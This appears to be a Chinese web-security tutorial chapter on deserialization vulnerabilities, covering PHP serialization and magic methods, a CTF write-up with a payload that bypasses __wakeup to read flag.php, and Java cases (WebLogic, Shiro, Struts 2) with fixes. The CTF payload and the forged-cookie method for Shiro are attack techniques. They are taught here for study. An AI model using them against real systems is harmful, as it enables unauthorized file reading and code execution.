【Web安全攻防从入门到精通】反序列化漏洞
反序列化漏洞
简介
PHP反序列化漏洞也叫PHP对象注入,形成的原因是程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行、文件操作、执行数据库操作等参数不可控。
序列化是广泛存在与PHP、Java等编程语言中的一种将有结构的对象/数组转化为无结构的字符串并储存信息的一种技术。当程序对用户的输入过滤不严格时,攻击者可以利用程序已有的函数在参数中注入某些代码,达到代码执行的效果。
序列化
以PHP语言为例,在写程序代码尤其是网站代码时,经常会构造类,并且有时候会将实例化的类作为变量进行传输。序列化就是为了减少该过程中传输内容的大小孕育而生的一种压缩方法,就是将一个类压缩成一个字符串的方法。
<?php
class userInfo{
//定义了三个属性
private $passwd = 'weak';
protected $sex = 'male';
public $name = 'huixin';
public function modifyPasswd($passwd){
//将函数传进来的值给passwd
$this->passwd = $passwd;
}
public function getPasswd(){
//输出passwd
echo $this->$passwd;
}
}
$huixin = new userInfo(); //创建userInfo对象实例
$huixin->modifyPasswd('strong'); //调用modifyPasswd函数并将strong值传进去
$data = serialize($huixin); //序列化
echo $data;
?>
得到输出
O:8:"userInfo":3:{s:16:"userInfopasswd";s:6:"strong";s:6:"*sex";s:4:"male";s:4:"name";s:6:"huixin";}
- 大括号外面表示“Object”对象名称长度为8是“userInfo”,这个对象有3个属性。
- 打括号内表示这些属性的具体信息,及他们的值
根据属性的权限不同,在序列化中表示方法也不同。在代码中三个属性的权限分别是private,protected和public。
- private权限是私有权限,只能在本类中使用,子类不能继承
- protected权限是受保护的访问权限,即只能在类内部使用,子类可以继承这个变量
- public权限就是正常的变量权限,一般声明的变量权限均为public
s:16:"userInfopasswd"
是私有权限,前面加上了本类名称
s:6:"*sex"
是protected权限,前面加上了星号
s:4:"name"
是public,没有任何前缀
反序列化
反序列化与序列化是相对应的,就是将含有类信息的序列化字符串“解压缩”还原成类。
PHP魔法函数
在一定条件下不需要被调用而可以自动调用。
_wakeup()
在PHP中如果需要进行反序列化,会先检查是否存在_wakeup()函数,如果存在,则会先调用此方法,预先准备需要的资源。
<?php
class example{
public $color = 'black'; //定义color 属性
public function __wakeup()
{
$this->color = 'white'; //将white赋值给color
}
public function printColor(){
echo $this->color . PHP_EOL; //输出color
}
}
$huixin = new example; //实例化对象
$data = serialize($huixin); //进行序列化
$new_huixin = unserialize($data); //反序列化
$new_huixin->printColor(); //调用printColor()函数
?>
运行上述代码后,可以看到类属性color已经被_wakeup()函数自动调用并修改了
_destruct()
此魔法函数会在对象的所有引用都被删除或类被销毁的时候自动调用。
<?php
class example{
public $color = 'black';
public function __destruct()
{
echo "_destruct()" . PHP_EOL; //打印_destruct()
}
}
echo "initializing..." . PHP_EOL; //打印initializing...
$huixin = new example;
echo "serializing..." . PHP_EOL; //打印serializing...
$data = serialize($huixin); //序列化
?>
执行以上代码,可以看到在序列化类的时候,_destruct()函数自动执行了。
_construct()
此函数会在创建一个类的实例时自动调用。
<?php
class example{
public $color = 'black';
public function __construct()
{
echo "_construct()" . PHP_EOL;
}
}
echo "initializing..." . PHP_EOL;
$huixin = new example;
echo "serializing..." . PHP_EOL;
$data = serialize($huixin);
?>
执行以上代码,可以看到在序列化之前,实例化时_construct()函数被调用了
_toString()
此魔法函数会在类被当作字符串时调用。在PHP5.2以前的版本,_toString函数只有在echo、print时才生效;PHP5.2以后版本中则可以在任何字符传环境生效(例如通过printf,是同%s修饰符),但不能用于非字符串环境(如使用%d修饰符)。自PHP5.2.0版本起,如果将一个未定义_toString()方法的对象转换成字符串,会产生E_RECOVERABLE_ERROR级别的错误。
<?php
class example{
public $color = 'black';
public function __toString()
{
return "_toString()" . PHP_EOL; //打印_toString()
}
}
echo "initializing..." . PHP_EOL;
$huixin = new example;
echo "echo..." . PHP_EOL;
echo $huixin;
echo "serializiing..." . PHP_EOL;
$data = serialize($huixin);
?>
执行以上代码,当实例化对象被当作字符串使用时,_toString()函数自动调用。
还有一些不太容易想到的情况也能触发此函数:
- 反序列化对象与字符串连接
- 反序列化对象参与格式化字符串时
- 反序列化对象与字符串进行比较时(PHP进行比较会转换参数类型)
- 反序列化对象参与格式化SQL语句,绑定参数时
- 反序列化对象在经过PHP字符串函数,如strlen()、addslashes()时
- 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串时,toString会被调用。
- 反序列化的对象作为class_exists()的参数时
_get()
在读取不可访问的属性值时,此魔法函数会自动调用
<?php
class example{
public $color = 'black';
public function __get($color)
{
return "_get()" . PHP_EOL;
}
}
$huixin = new example;
echo $huixin->color; //输出color属性
?>
执行上述代码因为试图访问私有变量color导致_get()函数自动调用
_call()
_call()是调用未定义的方法时调用的。
<?php
class example{
private $color = 'black';
public function __call($function, $parameters)
{
echo $function."(".$parameters.")".PHP_EOL;
return "_call()" . PHP_EOL;
}
}
$huixin = new example;
echo $huixin->notExistFunction("patameters"); //调用未定义方法
?>
执行上述代码,_call()函数被调用。也就是说,想让调用方法未定义,那么这个方法名就会作为_call的第一个参数传入。因此不存在方法的参数会被装进数组中作为_call的第二个参数传入。
CTF中的反序列化
//题目代码
<?php
class SoFun{
protected $file='index.php';
function __destruct()
{
if(!empty($this->file)){ //判断file参数是否为空
if(strchr($this->file,"\\")==false && strchr($this->file,'/')==false){ //判断file是否存在\\或者/
show_source(dirname(__FILE__).'/'.$this->file);
}else{
die('Wrong filename');
}
}
}
function __wakeup()
{
$this->file = 'index.php'; //将index.php赋值给file
}
public function __toString()
{
return '';
}
}
if(!isset($_GET['file'])){
show_source('index.php');
}else{
$file=base64_decode($_GET['file']); //进行base64编码
echo unserialize($file); //反序列化
}
?>
解题思路
这道题利用PHP反序列化的一个特性,当序列化字符串中表示对象属性个数的值大于实际属性个数时,就会跳过wakeup方法的执行。此题的解题思路就是如此,通过改写序列化字符串中表示属性个数的数字,使其比真实值大,就可以跳过_wakeup()函数。
//POC
<?php
class SoFun{
protected $file = 'flag.php'; //定义file属性并将flag.php赋给file
}
$poc = new SoFun; //实例化
echo serialize($poc); //序列化
?>
将输出的结果表示属性个数的数字加”1“,代码如下
//原始输出
O:5:"SoFun":1:{s:7:"*file";s:8:"flag.php";}
//修改
O:5:"SoFun":2:{s:7:"*file";s:8:"flag.php";}
提交的时候需要Base64
Java反序列化
WebLogic反序列化漏洞
Java中ObjectOutputStream类的writeObject()方法可以实现序列化,ObjectInputStream类的readObject()方法可以实现反序列化。
这个问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制;假如反序列化可以设置Java类型的白名单,安全风险会小很多。
//一般攻击者会访问两个路径,证明攻击者对应用正在进行反序列化攻击
_async/AsyncResponseService
wls-wsat/CoordinatorPortType
Shiro反序列化漏洞
Shiro使用CookieRememberMeManager这个类对Cookie中的rememberMe进行序列化,然后使用密钥进行AES加密,在进行Base64编码,最后返回客户端rememberMe Cookie。在识别用户身份时需要对rememberMe进行base64编码,然后使用密钥进行AES解密,最好进行Java反序列化。
漏洞成因:
AES加密的密钥Key被硬编码在代码里,这意味着攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,并对其进行序列化→AES加密→Base64编码,然后将其作为Cookie的rememberMe字段发送。Shiro将其进行解密并反序列化,即可造成反序列化漏洞。
漏洞特征:
在返回包的Set-Cookie中存在rememberMe=deleteMe字段
Struts 2反序列化漏洞
Struts 2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个Servlet,在MVC设计模式中,以Struts 2为控制器(Controller)来建立模型与视图的数据交互。Struts 2反序列化是一个一直存在的漏洞,并且企业内部存在非常多使用Struts 2框架的情况。
漏洞修复
- 对传入对象进行严格的过滤检查
- 检查在反序列化过程执行的文件读写、命令或代码执行函数中,是否有用户可控的参数
- 通过维护一个黑名单或白名单来限制用户的输入